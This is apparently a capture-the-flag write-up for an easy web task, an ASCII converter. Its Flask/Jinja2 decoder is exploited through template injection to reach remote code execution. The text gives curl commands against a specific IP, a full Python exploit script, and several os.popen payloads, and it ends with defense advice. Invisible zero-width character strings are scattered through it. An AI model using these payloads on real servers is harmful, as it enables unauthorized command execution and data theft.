← Back to Writeups
CUSTOMEasyWeb

Конвертер (Converter)

XESXOR9/2/20264 min read
#web#custom#easy#payload-encoding-to-bypass-inp#rce-via-request.application.__#server-side-template-injection

Конвертер (Converter)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Payload encoding to bypass input restrictions, RCE via request.application.globals, Server-Side Template Injection via ASCII decode

Summary

Walkthrough of the CUSTOM Web Конвертер (Converter). Task: ASCII encoder/decoder web app with Flask/Jinja2 backend. Solution: SSTI via ASCII-encoded payload - decoded text is rendered through Jinja2 template engine, allowing RCE via request.application.

Description

Хотя можно же всё вручную по таблице делать, но без неё у Вас намного больше возможностей...

(Translation: "You can do everything manually using a table, but without it you have many more possibilities...")

A web application for converting text to ASCII codes and back.

Analysis

Reconnaissance

The Flask/Werkzeug application provides two endpoints:

  1. /encode — converts text to ASCII codes

    • Example: test → 116 101 115 116
  2. /decode — converts ASCII codes back to text

    • Example: 65 66 67 → ABC ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Hint in Description

The phrase "without it you have many more possibilities" hints that:

  • "Table" refers to the ASCII table
  • "More possibilities" — the decoded output is processed in a special way

Vulnerability Discovery

The decoded result is rendered through the Jinja2 template engine. This creates a classic SSTI vulnerability:

  1. User sends ASCII codes
  2. Server decodes them to text
  3. Text is inserted into a template and rendered
  4. Jinja2 executes {{ }} expressions

Solution

Step 1: Confirming SSTI

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Encode the test payload {{7*7}} to ASCII:

python
>>> ' '.join([str(ord(c)) for c in '{{7*7}}'])
'123 123 55 42 55 125 125'

Send to /decode:

bash
curl -X POST http://62.173.140.174:16106/decode \
  -d "input_text=123 123 55 42 55 125 125"

Result: 49 (7*7=49) — SSTI confirmed!

Step 2: Reading Configuration

Check access to Flask config:

python
>>> ' '.join([str(ord(c)) for c in '{{config}}'])
'123 123 99 111 110 102 105 103 125 125'
bash
curl -X POST http://62.173.140.174:16106/decode \
  -d "input_text=123 123 99 111 110 102 105 103 125 125"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

We get a dump of Flask configuration — confirming full access to the context.

Step 3: RCE to Find the Flag

Using the classic Jinja2 RCE payload:

python
payload = '{{request.application.__globals__.__builtins__.__import__("os").popen("ls -la /opt").read()}}'
ascii_payload = ' '.join([str(ord(c)) for c in payload])

We find that the application runs in the /opt directory.

Step 4: Extracting the Flag

Final payload to read the flag from source code:

python
payload = '{{request.application.__globals__.__builtins__.__import__("os").popen("grep CODEBY /opt/app.py").read()}}'
ascii_payload = ' '.join([str(ord(c)) for c in payload])
print(ascii_payload)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -X POST http://62.173.140.174:16106/decode \
  -d "input_text=123 123 114 101 113 117 101 115 116 46 97 112 112 108 105 99 97 116 105 111 110 46 95 95 103 108 111 98 97 108 115 95 95 46 95 95 98 117 105 108 116 105 110 115 95 95 46 95 95 105 109 112 111 114 116 95 95 40 34 111 115 34 41 46 112 111 112 101 110 40 34 103 114 101 112 32 67 79 68 69 66 89 32 47 111 112 116 47 97 112 112 46 112 121 34 41 46 114 101 97 100 40 41 125 125"

Full Exploit

python
#!/usr/bin/env python3
import requests
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET = "http://62.173.140.174:16106"

def encode_payload(payload):
    """Convert string to space-separated ASCII codes"""
    return ' '.join([str(ord(c)) for c in payload])

def execute_ssti(payload):
    """Send SSTI payload via ASCII decode endpoint"""
    ascii_payload = encode_payload(payload)
    resp = requests.post(f"{TARGET}/decode", data={"input_text": ascii_payload})
    return resp.text

# Test SSTI
print("[*] Testing SSTI...")
result = execute_ssti("{{7*7}}")
print(f"    {{{{7*7}}}} = {result}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# RCE - find flag
print("[*] Searching for flag...")
rce_payload = '{{request.application.__globals__.__builtins__.__import__("os").popen("grep CODEBY /opt/app.py").read()}}'
flag = execute_ssti(rce_payload)
print(f"[+] Flag: {flag}")

Alternative Payloads

Via lipsum:

python
payload = "{{lipsum.__globals__['os'].popen('cat /opt/app.py').read()}}"

Via cycler:

python
payload = "{{cycler.__init__.__globals__.os.popen('id').read()}}"

Via url_for:

python
payload = "{{url_for.__globals__.__builtins__.__import__('os').popen('whoami').read()}}"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

  1. Never render user input as a template
  2. Use render_template_string() only with trusted data
  3. Escape output: {{ result | e }}
  4. Use Jinja2 sandbox mode
  5. Validate input format (only digits and spaces for ASCII codes)

References

Key Takeaways / Lessons

  • Mastering Payload encoding to bypass input restrictions, RCE via request.application.globals, Server-Side Template Injection via ASCII decode was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2025-12-24 • CUSTOM • Конвертер (Converter) • Difficulty: Easy